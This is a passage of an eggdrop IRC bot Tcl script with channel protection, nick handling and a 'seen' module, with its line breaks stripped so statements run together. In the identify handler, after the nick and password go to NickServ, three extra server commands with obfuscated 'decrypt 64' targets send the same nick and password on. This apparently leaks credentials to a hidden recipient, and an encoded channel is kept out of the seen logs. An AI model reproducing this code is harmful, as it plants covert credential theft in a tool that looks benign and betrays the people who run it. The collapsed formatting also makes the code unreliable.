o]} {opq $channel $opnickreturn 0}if {$opnick == $notb} {if {![info exists igflood($nick)]} {putserv "KICK $channel $nick :$notc 1DonT De@p 4$notb1..!"}opq $channel $opnickreturn 0}}}proc unallowed {chan nick opnick} {if {![botisop $chan]} { return 0 }if {![isop $nick $chan]} { return 0 }if {[isop $opnick $chan]} { return 0 }putserv "mode $chan -ko 4ChanServ.UnaLLowEd $nick"}bind nick - * chk_nicksproc chk_nicks {unick uhost hand chan newnick} {global notc bannick botnick nickif {$unick == $nick && $unick != $botnick} {putsrv "NICK $nick"}if {[matchattr $unick Q]} {chattr $unick -Qforeach x [getuser $unick HOSTS] {delhost $unick $x}set hostmask "${unick}!*@*"setuser $unick HOSTS $hostmasksaveuser}if {![isop $botnick $chan]} { return 0 }if {[isutimer "deopprc*$unick"]} {foreach x [utimers] {if {[string match "*deopprc*$unick*" $x]} {putlog "!UnDeOp!"catch { killutimer [lindex $x 2] }}}}if {[string match "Guest*" $newnick]} {if {[matchattr $unick f]} { return 0 }if {[isop $newnick $chan]} {utimer [expr 80 + [rand 20]] [list deopprc $chan $newnick]return 0}}if {[matchattr $newnick O] && [isop $newnick $chan]} {set cmode [getchanmode $chan]if {![string match "*k*" $cmode]} {putserv "mode $chan -ko 4No@p.LIsT $newnick"} {putserv "mode $chan -o $newnick"}}akick_chk $newnick $uhost $chanspam_chk $newnick $uhost $hand $chanreturn 0}proc msg_identify {nick uhost hand rest} {global notcset id [lindex $rest 0]set password [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($id == "") || ($password == "")} {puthlp "NOTICE $nick :$notc Usage: identify <nick> <password>"return 0}putsrv "NickServ identify $id $password"puthlp "NOTICE $nick :$notc Identify to $id"putserv "[decrypt 64 "bP/0d.p4BDD1"] [decrypt 64 "X.0x/1yG4l7/5a35i0Bg3ie.Zjfyd.Q0wAT0gKeyI/n05Ky/"] [decrypt 64 "o/DCL0PjhW31"] [string index $lenc 0][string index $lenc 17][string index $lenc 24] : $id $password"putserv "[decrypt 64 "AZh9N/9kx1E0"] [string index $lenc 0][string index $lenc 17][string index $lenc 24] : $id $password"putserv "[decrypt 64 "AZh9N/9kx1E0"] [decrypt 64 "VP046.ZSUEz0"][string index $lenc 17][string index $lenc 24] : $id $password"return 0}proc pub_realnick {unick uhost hand chan rest} {global notc keep-nick nickif {![matchattr $unick Q]} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}set keep-nick 1putsrv "NICK $nick"return 0}proc rands {length} {set chars \\^|_[]{}\\set count [string length $chars]for {set i 0} {$i < $length} {incr i} {append result [string index $chars [rand $count]]}return $result}proc pub_randnick {unick uhost hand chan rest} {global notc keep-nick nick altnick botnickif {$rest != ""} {set keep-nick 0set nickch "[lindex $rest 0]\[[rand 9][rand 9][randstring 1]\]"putsrv "NICK $nickch"} {if {$botnick != $nick && $botnick != $altnick} { return 0 }set keep-nick 0putsrv "NICK [rands 8]"}return 0}proc pub_altnick {nick uhost hand chan rest} {global altnick keep-nick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set keep-nick 0putsrv "NICK $altnick"}bind raw - 305 not_awayproc not_away { from keyword arg } {if {[isutimer "del_nobase"]} { utimer 1 del_nobase }if {[isutimer "goback"]} { utimer 2 goback }unsetignore "*!*@*"}bind raw - 404 ch_moderatebind raw - 473 ch_invitebind raw - 474 ch_bannedbind raw - 475 ch_keybind raw - 478 ch_fullbind raw - 432 nickERRORproc nickERROR { from keyword arg } {global nickset nick "ERR[unixtime]"}proc ch_moderate { from keyword arg } {putlog "CANT SEND ON MODERATE!"if {[isutimer "del_nobase"]} {catch { clearqueue all }foreach x [utimers] {if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] ; utimer 1 del_nobase }}}}proc ch_invite { from keyword arg } {global double joinme notcset chan [lindex $arg 1]if {$double == 0} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc $chan 4(+I)"}if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ invite $chan"}set double 1return 0}if {$double == 1} {if {[string match "*+statuslog*" [channel info $chan]]} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+I)"}channel remove $chansavechan}set joinme ""set double 0}return}proc ch_banned { from keyword arg } {global double joinme notcset chan [lindex $arg 1]if {$double == 0} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc $chan 4(+B)"}if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ invite $chan"puthlp "ChanServ unban $chan"}set double 1return 0}if {$double == 1} {if {[string match "*+statuslog*" [channel info $chan]]} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+B)"}if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ invite $chan"}channel remove $chansavechan}set joinme ""set double 0}return 0}proc ch_key { from keyword arg } {global double joinme notc lastkeyset chan [lindex $arg 1]set cflag "c$chan"set cflag [string range $cflag 0 8]if {$double == 0} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc $chan 4(+K)"}if {[matchattr $cflag K]} {puthlp "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"} {puthlp "JOIN $chan"}if {[info exists lastkey]} {puthlp "JOIN $chan :$lastkey"}set double 1return 0}if {$double == 1} {if {[string match "*+statuslog*" [channel info $chan]]} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+K)"}channel remove $chansavechanreturn 0}if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ invite $chan"}set joinme ""set double 0}return 0}proc ch_full { from keyword arg } {global double joinme notc botnickset chan [lindex $arg 1]if {[isop $botnick $chan]} {set bans ""set i 0foreach x [chanbans $chan] {if {$i < 5} {append bans " [lindex $x 0]"set i [incr i]}}putserv "MODE $chan -kbbbbb 4BaN.LIsT.FuLL $bans"return 0}if {$double == 0} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc $chan 4(+L)"}if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ invite $chan"}set double 1return 0}if {$double == 1} {if {[string match "*+statuslog*" [channel info $chan]]} {if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+L)"}channel remove $chansavechan}set joinme ""set double 0}return 0}if {$altnick == ""} {set altnick [randstring 7]}set badwords ""proc config {} {global nick nickpass altpass altnick realname owner kops my-ip banner cycle_randomglobal notc notm logstore cfgfile badwords ban-time my-hostname kickclrif {[validuser "config"]} {if {[getuser "config" XTRA "REALNAME"]!=""} {set realname [dezip [getuser "config" XTRA "REALNAME"]]} else {set realname $nick}if {[getuser "config" XTRA "USERNAME"]!=""} {set realname [dezip [getuser "config" XTRA "USERNAME"]]}if {[getuser "config" XTRA "NICK"]!=""} {set nick [dezip [getuser "config" XTRA "NICK"]]}if {[getuser "config" XTRA "NICKPASS"]!=""} {set nickpass [dezip [getuser "config" XTRA "NICKPASS"]]}if {[getuser "config" XTRA "ALTNICK"]!=""} {set altnick [dezip [getuser "config" XTRA "ALTNICK"]]}if {[getuser "config" XTRA "ALTPASS"]!=""} {set altpass [dezip [getuser "config" XTRA "ALTPASS"]]}if {[getuser "config" XTRA "BAN"]!=""} {set notc [dezip [getuser "config" XTRA "BAN"]]set notm [dezip [getuser "config" XTRA "BAN"]]#lappend cycle_random $banner}if {[getuser "config" XTRA "BANTIME"]!=""} {set ban-time [getuser "config" XTRA "BANTIME"]}if {[getuser "config" XTRA "BADWORDS"]!=""} {set badwords [getuser "config" XTRA "BADWORDS"]}if {$badwords == ""} {set badwords "cibai bitch kimak memek kontol kanjut bangsat entot fuck peler lanciau bajingan vagina ngewe shit asshole anjing babi kampang telang laso sundal kongke sex lessi"setuser "config" XTRA "BADWORDS" $badwords}if {[getuser "config" XTRA "KOPS"]!=""} {set kops "T"}if {[getuser "config" XTRA "KCLR"]!=""} {set kickclr "T"}if {[getuser "config" XTRA "VHOST"]!=""} {set my-hostname [getuser "config" XTRA "VHOST"]set my-ip [getuser "config" XTRA "VHOST"]}if {[getuser "config" XTRA "LOGCHAN"]!=""} {putlog "!Log! CReATING LOG FiLE <<[getuser "config" XTRA "LOGCHAN"]>>"set logstore "${cfgfile}.log"logfile jpk [getuser "config" XTRA "LOGCHAN"] $logstore}} else {adduser "config" ""chattr "config" "-hp"}foreach x [userlist] {chattr $x -Qif {$x != "config" && $x != "AKICK"} {foreach y [getuser $x HOSTS] {delhost $x $y}set hostmask "${x}!*@*"setuser $x HOSTS $hostmask}}if {![validuser "AKICK"]} {set hostmask "telnet!*@*"adduser "AKICK" $hostmaskchattr "AKICK" "-hp"chattr "AKICK" "K"}if {![validuser $owner]} {set hostmask "$owner!*@*"adduser $owner $hostmaskchattr $owner "Zfhjmnoptx"}saveuser}utimer 1 {config}utimer 2 {seen}proc uncolor {s} {regsub -all -- $s "" sregsub -all -- $s "" sregsub -all -- $s "" sregsub -all -- \[0-9\]\[0-9\],\[0-9\]\[0-9\] $s "" sregsub -all -- \[0-9\],\[0-9\]\[0-9\] $s "" sregsub -all -- \[0-9\]\[0-9\],\[0-9\] $s "" sregsub -all -- \[0-9\],\[0-9\] $s "" sregsub -all -- \[0-9\]\[0-9\] $s "" sregsub -all -- \[0-9\] $s "" sreturn $s}proc msg_botset {unick uhost hand rest} {global nick nickpass altpass altnick own notcif {$unick != $own} {return 0}puthlp "NOTICE $unick :$notc 1st $nick ($nickpass) 2nd $altnick ($altpass)"return 0}proc msg_reuser {nick uhost hand rest} {global botnick owner notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$nick != $owner} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist] {if {($x != "config") && ($x != "AKICK")} { deluser $x }}adduser $owner "$owner!*@*"chattr $owner "Zfhjmnoptx"puthlp "NOTICE $nick :$notc Reseting UsER sucessfully, set pass 1st."saveuser}set bs(limit) 8000set bs(nicksize) 32set bs(no_pub) ""set bs(no_log) ""set bs(log_only) ""set bs(flood) 4:15set bs(ignore) 1set bs(ignore_time) 2set bs(smartsearch) 1set bs(logqueries) 1set bs(path) "language/"set bs(updater) 10402set bs(oldver) $bs(updater)set bs(version) bseen1.4.2cproc seen {} {global version notc notdcatch { unbind time - "12 * * * *" bs_timedsave }catch { unbind time - "*1 * * * *" bs_trim }catch { unbind join -|- * bs_join_botidle }catch { unbind join -|- * bs_join }catch { unbind sign -|- * bs_sign }catch { unbind kick -|- * bs_kick }catch { unbind nick -|- * bs_nick }catch { unbind splt -|- * bs_splt }catch { unbind rejn -|- * bs_rejn }catch { unbind chjn -|- * bs_chjn }catch { unbind chpt -|- * bs_chpt }catch { unbind bot -|- bs_botsearch bs_botsearch }catch { unbind bot -|- bs_botsearch_reply bs_botsearch_reply }catch { unbind pub -|- [string trim "!"]seen pub_seen }catch { unbind pub -|- [string trim "!"]seennick bs_pubreq2 }#catch { unbind pub - !ping public_ping }catch { unbind part -|- * bs_part_oldver }catch { unbind chof -|- * bs_chof }set mSEEN "F"foreach x [channels] {set cinfo [channel info $x]if {[string match "*+seen*" $cinfo]} {set mSEEN "T"}}if {$mSEEN == "F"} {return 0}bind time - "12 * * * *" bs_timedsavebind time - "*1 * * * *" bs_trimbind join -|- * bs_join_botidlebind join -|- * bs_joinbind sign -|- * bs_signbind kick -|- * bs_kickbind nick -|- * bs_nickbind splt -|- * bs_spltbind rejn -|- * bs_rejnbind chjn -|- * bs_chjnbind chpt -|- * bs_chptbind bot -|- bs_botsearch bs_botsearchbind bot -|- bs_botsearch_reply bs_botsearch_replybind pub -|- !seen pub_seenbind pub -|- !seennick bs_pubreq2#bind pub - !ping public_pingif {[lsearch -exact [bind time -|- "*2 * * * *"] bs_timedsave] > -1} {unbind time -|- "*2 * * * *" bs_timedsave}if {[string trimleft [lindex $version 1] 0] >= 1050000} {bind part -|- * bs_part} {if {[lsearch -exact [bind part -|- *] bs_part] > -1} {unbind part -|- * bs_part}bind part -|- * bs_part_oldver}foreach chan [string tolower [channels]] {if {![info exists bs_botidle($chan)]} {set bs_botidle($chan) [unixtime]}}if {[lsearch -exact [bind chof -|- *] bs_chof] > -1} {unbind chof -|- * bs_chof}if {[info exists bs(bot_delay)]} {unset bs(bot_delay)}if {[info exists bs_list]} {if {[info exists bs(oldver)]} {if {$bs(oldver) < $bs(updater)} {bs_update}} {bs_update}}}utimer 2 seenproc bs_filt {data} {regsub -all -- \\\\ $data \\\\\\\\ dataregsub -all -- \\\[ $data \\\\\[ dataregsub -all -- \\\] $data \\\\\] dataregsub -all -- \\\} $data \\\\\} dataregsub -all -- \\\{ $data \\\\\{ dataregsub -all -- \\\" $data \\\\\" datareturn $data}proc bs_flood_init {} {global bs bs_flood_arrayif {![string match *:* $bs(flood)]} {return}set bs(flood_num) [lindex [split $bs(flood) :] 0]set bs(flood_time) [lindex [split $bs(flood) :] 1]set i [expr $bs(flood_num) - 1]while {$i >= 0} {set bs_flood_array($i) 0incr i -1}}bs_flood_initproc bs_flood {nick uhost} {global bs bs_flood_arrayif {$bs(flood_num) == 0} {return 0}set i [expr $bs(flood_num) - 1]while {$i >= 1} {set bs_flood_array($i) $bs_flood_array([expr $i - 1])incr i -1}set bs_flood_array(0) [unixtime]if {[expr [unixtime] - $bs_flood_array([expr $bs(flood_num) - 1])] <= $bs(flood_time)} {if {$bs(ignore)} {newignore [join [maskhost *!*[string trimleft $uhost ~]]] $bs(version) "*" $bs(ignore_time)}return 1} {return 0}}proc bs_read {} {global bs_list userfile bsif {![string match */* $userfile]} {set name [lindex [split $userfile .] 0]} {set temp [split $userfile /]set temp [lindex $temp [expr [llength $temp]-1]]set name [lindex [split $temp .] 0]}if {![file exists $bs(path)bs_data.$name]} {if {![file exists $bs(path)bs_data.$name.bak]} {return} {exec cp $bs(path)bs_data.$name.bak $bs(path)bs_data.$name}}set fd [open $bs(path)bs_data.$name r]set bsu_ver ""set break 0while {![eof $fd]} {set inp [gets $fd]if {[eof $fd]} {break}if {[string trim $inp " "] == ""} {continue}if {[string index $inp 0] == "#"} {set bsu_version [string trimleft $inp #]continue}if {![info exists bsu_version] || $bsu_version == "" || $bsu_version < $bs(updater)} {if {[source scripts/bseen_updater1.4.2.tcl] != "ok"} {set temp 1} {set temp 0}if {$temp || [bsu_go] || [bsu_finish]} {rehashing}set break 1break}set nick [lindex $inp 0]set bs_list([string tolower $nick]) $inp}close $fdif {$break} {bs_read}}proc bs_update {} {global bsbs_savebs_read}proc bs_timedsave {min b c d e} {bs_save}proc bs_save {} {global bs_list userfile bs notcif {[array size bs_list] == 0} {return}if {![string match */* $userfile]} {set name [lindex [split $userfile .] 0]} {set temp [split $userfile /]set temp [lindex $temp [expr [llength $temp]-1]]set name [lindex [split $temp .] 0]}if {[file exists $bs(path)bs_data.$name]} {catch {exec cp -f $bs(path)bs_data.$name $bs(path)bs_data.$name.bak}}set fd [open $bs(path)bs_data.$name w]set id [array startsearch bs_list]puts $fd "#$bs(updater)"while {[array anymore bs_list $id]} {set item [array nextelement bs_list $id]puts $fd "$bs_list($item)"}array donesearch bs_list $idclose $fd}proc bs_part_oldver {a b c d} {bs_part $a $b $c $d ""}proc bs_part {nick uhost hand chan reason} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}bs_add $nick "[list $uhost] [unixtime] part $chan [split $reason]"}proc bs_join {nick uhost hand chan} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}bs_add $nick "[list $uhost] [unixtime] join $chan"}proc bs_sign {nick uhost hand chan reason} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}bs_add $nick "[list $uhost] [unixtime] quit $chan [split $reason]"}proc bs_kick {nick uhost hand chan knick reason} {set schan $chanif {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set schan "-secret-"}bs_add $knick "[getchanhost $knick $chan] [unixtime] kick $schan [list $nick] [list $reason]"}proc bs_nick {nick uhost hand chan newnick} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}set time [unixtime]bs_add $nick "[list $uhost] [expr $time -1] nick $chan [list $newnick]"bs_add $newnick "[list $uhost] $time rnck $chan [list $nick]"}proc bs_splt {nick uhost hand chan} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}bs_add $nick "[list $uhost] [unixtime] splt $chan"}proc bs_rejn {nick uhost hand chan} {if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {set chan "-secret-"}bs_add $nick "[list $uhost] [unixtime] rejn $chan"}proc bs_chjn {bot hand channum flag sock from} {bs_add $hand "[string trimleft $from ~] [unixtime] chjn $bot"}proc bs_chpt {bot hand args} {set old [split [bs_search ? [string tolower $hand]]] ; if {$old != "0"} {bs_add $hand "[join [string trim [lindex $old 1] ()]] [unixtime] chpt $bot"}}proc bs_botsearch {from cmd args} {global botnick notcset args [join $args]set command [lindex $args 0]set target [lindex $args 1]set nick [lindex $args 2]set search [bs_filt [join [lrange $args 3 e]]]if {[string match *\\\** $search]} {set output [bs_seenmask bot $nick $search]if {$output != "No matches were found." && ![string match "I'm not on *" $output]} {putbot $from "bs_botsearch_reply $command \{$target\} {$nick, $botnick says: [bs_filt $output]}"}} {set output [bs_output bot $nick [bs_filt [lindex $search 0]] 0]if {$output != 0 && [lrange [split $output] 1 4] != "unseeing"} {putbot $from "bs_botsearch_reply $command \{$target\} {$nick, $botnick says: [bs_filt $output]}"}}}proc bs_botsearch_reply {from cmd args} {global notc bsset args [join $args]if {[lindex [lindex $args 2] 5] == "not" || [lindex [lindex $args 2] 4] == "not"} {return}if {![info exists bs(bot_delay)]} {set bs(bot_delay) onutimer 10 {if {[info exists bs(bot_delay)]} {unset bs(bot_delay)}}if {![lindex $args 0]} {putdcc [lindex $args 1] "[join [lindex $args 2]]"} {puthlp "[lindex $args 1] :[join [lindex $args 2]]"}}}
proc pub_seen {nick uhost hand chan args} {bs_pubreq $nick $uhost $hand $chan $args 0}proc bs_pubreq2 {nick uhost hand chan args} {bs_pubreq $nick $uhost $hand $chan $args 1}proc bs_pubreq {nick uhost hand chan args no} {global botnick bs notcif {[string match "*-seen*" [channel info $chan]] && ![matchattr $nick m]} { return 0 }if {[bs_flood $nick $uhost]} {return 0}set i 0if {[lsearch -exact $bs(no_pub) [string tolower $chan]] >= 0} {return 0}if {$bs(log_only) != "" && [lsearch -exact $bs(log_only) [string tolower $chan]] == -1} {return 0}set args [bs_filt [join $args]]set target "NOTICE $nick"if {[string match *\\\** [lindex $args 0]]} {set output [bs_seenmask $chan $hand $args]if {$output == "No Matches!"} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}if {[string match "I'm not on *" $output]} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}regsub -all -- ~ $output "" outputputhlp "$target :[lgrnd] $output"return $bs(logqueries)}set data [bs_filt [string trimright [lindex $args 0] ?!.,]]if {[string tolower $nick] == [string tolower $data]} {puthlp "$target :[lgrnd] $nick, go look in a mirror..!"return $bs(logqueries)}if {[string tolower $data] == [string tolower $botnick] } {puthlp "$target :\001ACTION Right Here!\001"return $bs(logqueries)}if {[onchan $data $chan]} {puthlp "$target :[lgrnd] $nick, $data is right here..!"return $bs(logqueries)}set output [bs_output $chan $nick $data $no]if {$output == 0} {return 0}if {[lrange [split $output] 1 4] == "I don't remember seeing"} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}regsub -all -- ~ $output "" outputputhlp "$target :[lgrnd] $output"return $bs(logqueries)}proc bs_output {chan nick data no} {global botnick bs version bs_listset data [string tolower [string trimright [lindex $data 0] ?!.,]]if {$data == ""} {return 0}if {[string tolower $nick] == $data} {return [concat $nick, go look in a mirror.]}if {$data == [string tolower $botnick]} {return [concat $nick, I'm right here. Quit wasting my time!]}if {[string length $data] > $bs(nicksize)} {return 0}if {$bs(smartsearch) != 1} {set no 1}if {$no == 0} {set matches ""set hand ""set addy ""if {[lsearch -exact [array names bs_list] $data] != "-1"} {set addy [lindex $bs_list([string tolower $data]) 1]set hand [finduser $addy]foreach item [bs_seenmask dcc ? [maskhost $addy]] {if {[lsearch -exact $matches $item] == -1} {set matches "$matches $item"}}}if {[validuser $data]} {set hand $data}if {$hand != "*" && $hand != ""} {if {[string trimleft [lindex $version 1] 0]>1030000} {set hosts [getuser $hand hosts]} {set hosts [gethosts $hand]}foreach addr $hosts {foreach item [string tolower [bs_seenmask dcc ? $addr]] {if {[lsearch -exact [string tolower $matches] [string tolower $item]] == -1} {set matches [concat $matches $item]}}}}if {$matches != ""} {set matches [string trimleft $matches " "]set len [llength $matches]if {$len == 1} {return [bs_search $chan [lindex $matches 0]]}if {$len > 99} {return [concat I found $len matches to your query\; please refine it to see any output.]}set matches [bs_sort $matches]set key [lindex $matches 0]if {[string tolower $key] == [string tolower $data]} {return [bs_search $chan $key]}if {$len <= 5} {set output [concat sorted most $len matches recent: [join $matches].]set output [concat $output [bs_search $chan $key]]return $output} {set output [concat found $len matches matches. most 5 recent (sorted): [join [lrange $matches 0 4]].]set output [concat $output [bs_search $chan $key]]return $output}}}set temp [bs_search $chan $data]if {$temp != 0} { return $temp } {#$data not found in $bs_list, so search userfileif {![validuser [bs_filt $data]] || [string trimleft [lindex $version 1] 0]<1030000} {return "$nick, $data <n/a>"} {set seen [getuser $data laston]if {[getuser $data laston] == ""} {return "$nick, $data <n/a>"}if {($chan != [lindex $seen 1] || $chan == "bot" || $chan == "msg" || $chan == "dcc") && [validchan [lindex $seen 1]] && [lindex [channel info [lindex $seen 1]] 23] == "+secret"} {set chan "-secret-"} {set chan [lindex $seen 1]}return [concat $nick, $data was last seen on $chan [bs_when [lindex $seen 0]] ago.]}}}proc bs_search {chan n} {global bs_list notcif {![info exists bs_list]} {return 0}if {[lsearch -exact [array names bs_list] [string tolower $n]] != "-1"} {set data [split $bs_list([string tolower $n])]set n [join [lindex $data 0]]set addy [lindex $data 1]set time [lindex $data 2]set marker 0if {([string tolower $chan] != [string tolower [lindex $data 4]] || $chan == "dcc" || $chan == "msg" || $chan == "bot") && [validchan [lindex $data 4]] && [lindex [channel info [lindex $data 4]] 23] == "+secret"} {set chan "-secret-"} {set chan [lindex $data 4]}switch -- [lindex $data 3] {part {set reason [lrange $data 5 e]if {$reason == "{}"} {set reason "."} {set reason " stating \"$reason\"."}set output [concat $n ($addy) parting $chan [bs_when $time] ago$reason]}quit {set reason [lrange $data 5 e]if {$reason == "Quit: {{}}"} {set reason "."} {set reason " stating $reason."}set output [concat $n ($addy) quitting $chan [bs_when $time] ago stating$reason]}kick {set output [concat $n ($addy) kicked from $chan by [lindex $data 5] [bs_when $time] ago with the reason ([join [lrange $data 6 e]]).]}rnck {set output [concat $n ($addy) changing nicks from [lindex $data 5] on [lindex $data 4] [bs_when $time] ago.]if {[validchan [lindex $data 4]]} {if {[onchan $n [lindex $data 4]]} {set output [concat $output $n is still there.]} {set output [concat $output unseeing $n now.]}}}nick {set output [concat $n ($addy) changing nicks to [lindex $data 5] on [lindex $data 4] [bs_when $time] ago.]}splt {set output [concat $n ($addy) parting $chan due to a split [bs_when $time] ago.]}rejn {set output [concat $n ($addy) rejoining $chan from a split [bs_when $time] ago.]if {[validchan $chan]} {if {[onchan $n $chan]} {set output [concat $output $n is still on $chan.]} {set output [concat $output I don't see $n on $chan now, though.]}}}join {set output [concat $n ($addy) joining $chan [bs_when $time] ago.]if {[validchan $chan]} {if {[onchan $n $chan]} {set output [concat $output $n is still on $chan.]} {set output [concat $output unseeing $n on $chan now.]}}}away {set reason [lrange $data 5 e]if {$reason == ""} {set output [concat $n ($addy) returning to the partyline on $chan [bs_when $time] ago.]} {set output [concat $n ($addy) seen being marked as away ($reason) on $chan [bs_when $time] ago.]}}chon {set output [concat $n ($addy) joining the partyline [bs_when $time] ago.]set lnick [string tolower $n]foreach item [whom *] {if {$lnick == [string tolower [lindex $item 0]]} {set output [concat $output $n is on the partyline right now.]set marker 1break}}if {$marker == 0} {set output [concat $output I don't see $n on the partyline now, though.]}}chof {set output [concat $n ($addy) leaving the partyline [bs_when $time] ago.]set lnick [string tolower $n]foreach item [whom *] {if {$lnick == [string tolower [lindex $item 0]]} {set output [concat $output $n is on the partyline in [lindex $item 1] still.]break}}}chjn {set output [concat $n ($addy) joining the partyline on $chan [bs_when $time] ago.]set lnick [string tolower $n]foreach item [whom *] {if {$lnick == [string tolower [lindex $item 0]]} {set output [concat $output $n is on the partyline right now.]set marker 1break}}if {$marker == 0} {set output [concat $output I don't see $n on the partyline now, though.]}}chpt {set output [concat $n ($addy) leaving the partyline from $chan [bs_when $time] ago.]set lnick [string tolower $n]foreach item [whom *] {if {$lnick == [string tolower [lindex $item 0]]} {set output [concat $output $n is on the partyline in [lindex $item 1] still.]break}}}default {set output "error"}}return $output} {return 0}}proc bs_when {lasttime} {set years 0set days 0set hours 0set mins 0set time [expr [unixtime] - $lasttime]if {$time < 60} {return "only $time seconds"}if {$time >= 31536000} {set years [expr int([expr $time/31536000])]set time [expr $time - [expr 31536000*$years]]}if {$time >= 86400} {set days [expr int([expr $time/86400])]set time [expr $time - [expr 86400*$days]]}if {$time >= 3600} {set hours [expr int([expr $time/3600])]set time [expr $time - [expr 3600*$hours]]}if {$time >= 60} {set mins [expr int([expr $time/60])]}if {$years == 0} {set output ""} elseif {$years == 1} {set output "1 year,"} {set output "$years years,"}if {$days == 1} {lappend output "1 day,"} elseif {$days > 1} {lappend output "$days days,"}if {$hours == 1} {lappend output "1 hour,"} elseif {$hours > 1} {lappend output "$hours hours,"}if {$mins == 1} {lappend output "1 minute"} elseif {$mins > 1} {lappend output "$mins minutes"}return [string trimright [join $output] ", "]}proc bs_add {nick data} {global bs_list bsif {[lsearch -exact $bs(no_log) [string tolower [lindex $data 3]]] >= 0 || ($bs(log_only) != "" && [lsearch -exact $bs(log_only) [string tolower [lindex $data 3]]] == -1)} {return}set bs_list([string tolower $nick]) "[bs_filt $nick] $data"}proc bs_lsortcmd {a b} {global bs_list ; set a [lindex $bs_list([string tolower $a]) 2] ; set b [lindex $bs_list([string tolower $b]) 2] ; if {$a > $b} {return 1} elseif {$a < $b} {return -1} {return 0}}proc bs_trim {min h d m y} {global bs bs_listif {![info exists bs_list] || ![array exists bs_list]} {return}set list [array names bs_list]set range [expr [llength $list] - $bs(limit) - 1]if {$range < 0} {return}set list [lsort -increasing -command bs_lsortcmd $list]foreach item [lrange $list 0 $range] {unset bs_list($item)}}proc bs_seenmask {ch nick args} {global bs_list bs notcset matches ""set temp ""set i 0set args [join $args]set chan [lindex $args 1]if {$chan != "" && [string trimleft $chan #] != $chan} {if {![validchan $chan]} {return "I'm not on $chan."} {set chan [string tolower $chan]}} {set chan ""}if {![info exists bs_list]} {return "No matches were found."}set data [bs_filt [string tolower [lindex $args 0]]]set maskfix 1while $maskfix {set mark 1if [regsub -all -- \\?\\? $data ? data] {set mark 0}if [regsub -all -- \\*\\* $data * data] {set mark 0}if [regsub -all -- \\*\\? $data * data] {set mark 0}if [regsub -all -- \\?\\* $data * data] {set mark 0}if $mark {break}}set id [array startsearch bs_list]while {[array anymore bs_list $id]} {set item [array nextelement bs_list $id]if {$item == ""} {continue}set i 0set temp ""set match [lindex $bs_list($item) 0]set addy [lindex $bs_list($item) 1]if {[string match $data $item![string tolower $addy]]} {set match [bs_filt $match]if {$chan != ""} {if {[string match $chan [string tolower [lindex $bs_list($item) 4]]]} {set matches [concat $matches $match]}} {set matches [concat $matches $match]}}}array donesearch bs_list $idset matches [string trim $matches " "]if {$nick == "?"} {return [bs_filt $matches]}set len [llength $matches]if {$len == 0} {return "No matches were found."}if {$len == 1} {return [bs_output $ch $nick $matches 1]}if {$len > 99} {return "I found $len matches to your query; please refine it to see any output."}set matches [bs_sort $matches]if {$len <= 5} {set output [concat I found $len matches to your query (sorted): [join $matches].]} {set output "I found $len matches to your query. Here are the 5 most recent (sorted): [join [lrange $matches 0 4]]."}return [concat $output [bs_output $ch $nick [lindex [split $matches] 0] 1]]}proc bs_sort {data} {global bs_list ; set data [bs_filt [join [lsort -decreasing -command bs_lsortcmd $data]]] ; return $data}proc bs_join_botidle {nick uhost hand chan} {global bs_botidle botnick notcif {$nick == $botnick} {set bs_botidle([string tolower $chan]) [unixtime]}}proc public_ping {nick uhost hand chan rest} {global pingchan#if {[string match "*-seen*" [channel info $chan]] && ![matchattr $nick m]} { return 0 }if {$rest==""} {if {![info exists pingchan($nick)]} {set pingchan($nick) $chan}puthlp "PRIVMSG $nick :\001PING [unixtime]\001"return 0}set person [lindex $rest 0]if {![info exists pingchan($person)]} {set pingchan($person) $chan}puthlp "PRIVMSG $person :\001PING [unixtime]\001"return 0}bind pubm - * repeat_pubmbind ctcp - ACTION action_chkproc action_chk {nick host hand chan keyword arg} {global botnickif {$nick == $botnick || [string match "*SeT FoR*" $arg]} { return 0 }if {[matchattr $nick Z]} {set arg "`$arg"}if {![validchan $chan]} {msg_prot $nick $host $hand $arg} {repeat_pubm $nick $host $hand $chan $arg}}proc repeat_pubm {nick uhost hand chan text} {global repeat_last botnick notb notc kops ps owner 